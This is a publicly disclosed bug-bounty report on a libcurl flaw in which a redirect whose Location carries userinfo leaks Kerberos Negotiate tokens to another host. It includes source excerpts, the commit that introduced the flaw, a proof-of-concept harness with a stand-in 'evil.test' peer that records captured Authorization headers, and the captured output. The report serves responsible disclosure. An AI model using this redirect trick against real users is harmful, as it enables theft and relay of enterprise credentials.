HexBrain

curl · Report #3993549

CVE-2026-86413: Negotiate credentials sent to redirected origin

Validstatus
4upvotes
14 Oct 2026disclosed

How it was found

Hi all,

I found a way to make libcurl send a live SPNEGO/Kerberos Authorization: Negotiate token to a host the client never intended to authenticate to, bypassing the cross-host auth restriction, when following a redirect whose Location: header embeds userinfo (http://user:[email protected]/...).

The bug

Curl_http_output_auth() decides whether to attach auth headers for the current host with:

// lib/http.c:874
if(data->state.creds || Curl_auth_allowed_to_host(data))
    result = output_auth_headers(data, conn, authhost, request,
                                 path_and_query, FALSE);

Curl_auth_allowed_to_host() is the intended cross-host guard — it's FALSE once you've been redirected to a different origin (unless CURLOPT_UNRESTRICTED_AUTH is set):

// lib/vauth/vauth.c:140-149
bool Curl_auth_allowed_to_host(struct Curl_easy *data)
{
  return Curl_auth_allowed_to_origin(data, data->state.origin);
}

bool Curl_auth_allowed_to_origin(struct Curl_easy *data,
                                 struct Curl_peer *origin)
{
  return data->set.allow_auth_to_other_hosts ||
         Curl_peer_equal(data->state.initial_origin, origin);
}

The problem is the data->state.creds || in front of it. url_set_data_creds() runs on every URL (redirects included), and only the CURLOPT_* ("OPTION") credential branch is gated by Curl_auth_allowed_to_origin() — the URL-embedded-userinfo branch right below it isn't:

// lib/url.c:1423-1456
static CURLcode url_set_data_creds(struct Curl_easy *data, CURLU *uh)
{
  ...
  if((CURL_EASY_STR(data, STRING_USERNAME) || ... ) &&
     Curl_auth_allowed_to_origin(data, data->state.origin)) {
    result = Curl_creds_create(..., CREDS_OPTION, &newcreds);
    ...
  }

  /* Extract credentials from the URL only if there are none OR
   * if no CURLOPT_USER was set. */
  if(!newcreds || !Curl_creds_has_user(newcreds)) {
    ...
    result = Curl_creds_merge(udecoded, pdecoded, newcreds,
                              CREDS_URL, &newcreds);
    ...
  }

So a redirect to http://user:[email protected]/ sets data->state.creds non-NULL with no origin check at all, which then short-circuits the guard in Curl_http_output_auth(). For Negotiate this is worse than it looks: the "credentials" here are never actually used — GSSAPI/SSPI mints the token from the client's ambient Kerberos TGT, not from the URL's user/pass string. So any junk userinfo in a redirect Location, even nonsense the attacker doesn't need to know, is enough to unlock sending a real Kerberos service ticket for HTTP/evil.host to the attacker.

Sink: Curl_output_negotiate(), lib/http_negotiate.c:219.

Where it came from

Introduced by 8f71d0fde51 — "creds: hold credentials" (2026-05-11). Before that commit, the guard was:

/* To prevent the user+password to get sent to other than the original host
   due to a location-follow */
if(Curl_auth_allowed_to_host(data) || conn->bits.netrc)

That commit dropped this comment along with the strict check, replacing it with the data->state.creds || bypass, while at the same time introducing url_set_data_creds()'s asymmetric OPTION-vs-URL gating. Neither half is a problem alone; together they reopen the exact leak the deleted comment was there to prevent. Still present at current main (38703fe2, 2026-09-02).

PoC

Two peers: orig.test issues the redirect, evil.test records whatever it receives. Exploit variant puts userinfo in the redirect; control variant doesn't.

# Repro: libcurl sends an Authorization: Negotiate (SPNEGO/Kerberos) token to an
# attacker-controlled host after a redirect whose Location carries userinfo.
MODE="$1"   # "exploit" or "control"
...
cat > "$KRBDIR/vf_peers.py" <<'PY'
import socket, sys, threading, os, time
MODE=sys.argv[1]
ORIG=int(os.environ["ORIG_PORT"]); EVIL=int(os.environ["EVIL_PORT"])
OUT=os.environ["EVIL_OUT"]
def serve(port,handler):
    s=socket.socket(); s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
    s.bind(("127.0.0.1",port)); s.listen(8)
    while True:
        c,_=s.accept()
        try: handler(c)
        except Exception: pass
        c.close()
def orig(c):
    c.recv(65536)
    if MODE=="exploit":
        loc="http://user:[email protected]:%d/secret"%EVIL   # userinfo -> triggers bug
    else:
        loc="http://evil.test:%d/secret"%EVIL             # no userinfo -> control
    b=b"redir"
    c.sendall(("HTTP/1.1 302 Found\r\nLocation: %s\r\nContent-Length: %d\r\nConnection: close\r\n\r\n"%(loc,len(b))).encode()+b)
def evil(c):
    data=c.recv(65536)
    with open(OUT,"ab") as f: f.write(b"EVIL_RECEIVED:\n"+data)
    c.sendall(b"HTTP/1.1 200 OK\r\nContent-Length: 2\r\nConnection: close\r\n\r\nok")
threading.Thread(target=serve,args=(ORIG,orig),daemon=True).start()
threading.Thread(target=serve,args=(EVIL,evil),daemon=True).start()
time.sleep(15)
PY
...
# exercise the shipped libcurl exactly once: follow the redirect with Negotiate on
timeout 60 curl -sS --negotiate -u : -L "http://orig.test:${ORIG_PORT}/start" -o /dev/null || true
...
cat "$EVIL_OUT"   # surface exactly what the attacker host received

Run against a curl/8.21.0-DEV build with a Kerberos TGT for [email protected], evil.test received:

EVIL_RECEIVED:
GET /secret HTTP/1.1
Host: evil.test:18081
Authorization: Negotiate YIIC9wYGKwYBBQUCoIIC6zCCAuegDTALBgkqhkiG9xIBAgKiggLUBIIC0GCCAswGCSqGSIb3EgECAgEAboICuzCCAregAwIBBaEDAgEOogcDBQAgAAAAo4IBzmGCAcowggHGoAMCAQWhDRsLRVhBTVBMRS5DT02iHDAaoAMCAQOhEzARGwRIVFRQGwlldmlsLnRlc3SjggGQMIIBjKADAgESoQMCAQGiggF+...(truncated)
User-Agent: curl/8.21.0-DEV
Accept: */*

A full, valid GSSAPI/Kerberos service ticket for HTTP/evil.test, minted from the client's real TGT and handed to a server the client never asked to authenticate to. The control run (no userinfo in the redirect) sends no Authorization header at all — same code path, same preconditions, the only variable is the presence of userinfo in the Location:.

Suggested direction

Gate the URL-credential branch in url_set_data_creds() (lib/url.c:1454) with the same Curl_auth_allowed_to_origin() check the OPTION branch already has, or explicitly strip userinfo from redirect targets before they reach credential extraction unless CURLOPT_UNRESTRICTED_AUTH is set.

Cheers, Josh

Impact

An attacker who runs any HTTP server a victim is willing to curl -L (redirects on) can get the victim's SPNEGO/Kerberos ticket for an arbitrary hostname of the attacker's choosing sent to a server the attacker controls, whenever the victim has --negotiate/CURLAUTH_NEGOTIATE (or CURLAUTH_ANY) on and a live TGT — a very common combination in enterprise SSO setups. That ticket can be captured/relayed to impersonate the victim elsewhere.

Preconditions: CURLOPT_FOLLOWLOCATION, CURLAUTH_NEGOTIATE/CURLAUTH_ANY, SPNEGO support built in, CURLOPT_DISALLOW_USERNAME_IN_URL off (default), and an existing Kerberos/SSPI session.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original